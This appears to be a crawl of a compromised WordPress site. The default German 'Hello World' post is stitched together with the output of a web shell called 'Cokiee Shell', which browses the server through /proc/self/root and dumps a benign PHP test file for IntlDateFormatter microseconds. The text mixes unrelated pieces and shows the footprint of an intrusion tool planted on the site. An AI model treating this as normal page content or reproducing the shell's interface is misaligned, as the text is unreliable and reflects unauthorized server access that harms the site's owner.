Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/intl/tests/ |
Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/intl/tests/bug74298.phpt |
--TEST-- Bug #74298 (IntlDateFormatter->format() doesn't return microseconds/fractions) --SKIPIF-- <?php if (!extension_loaded('intl')) print 'skip'; ?> --FILE-- <?php var_dump((new \DateTime('2017-01-01 01:02:03.123456'))->format('Y-m-d\TH:i:s.u')); var_dump((new \IntlDateFormatter( 'en-US', \IntlDateFormatter::FULL, \IntlDateFormatter::FULL, 'UTC', \IntlDateFormatter::GREGORIAN, 'yyyy-MM-dd HH:mm:ss.SSSSSS' ))->format(new \DateTime('2017-01-01 01:02:03.123456', new \DateTimeZone('UTC')))); var_dump(datefmt_create( 'en-US', \IntlDateFormatter::FULL, \IntlDateFormatter::FULL, 'UTC', \IntlDateFormatter::GREGORIAN, 'yyyy-MM-dd HH:mm:ss.SSSSSS' )->format(new \DateTime('2017-01-01 01:02:03.123456', new \DateTimeZone('UTC')))); ?> --EXPECTF-- string(26) "2017-01-01T01:02:03.123456" string(26) "2017-01-01 01:02:03.123000" string(26) "2017-01-01 01:02:03.123000"
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare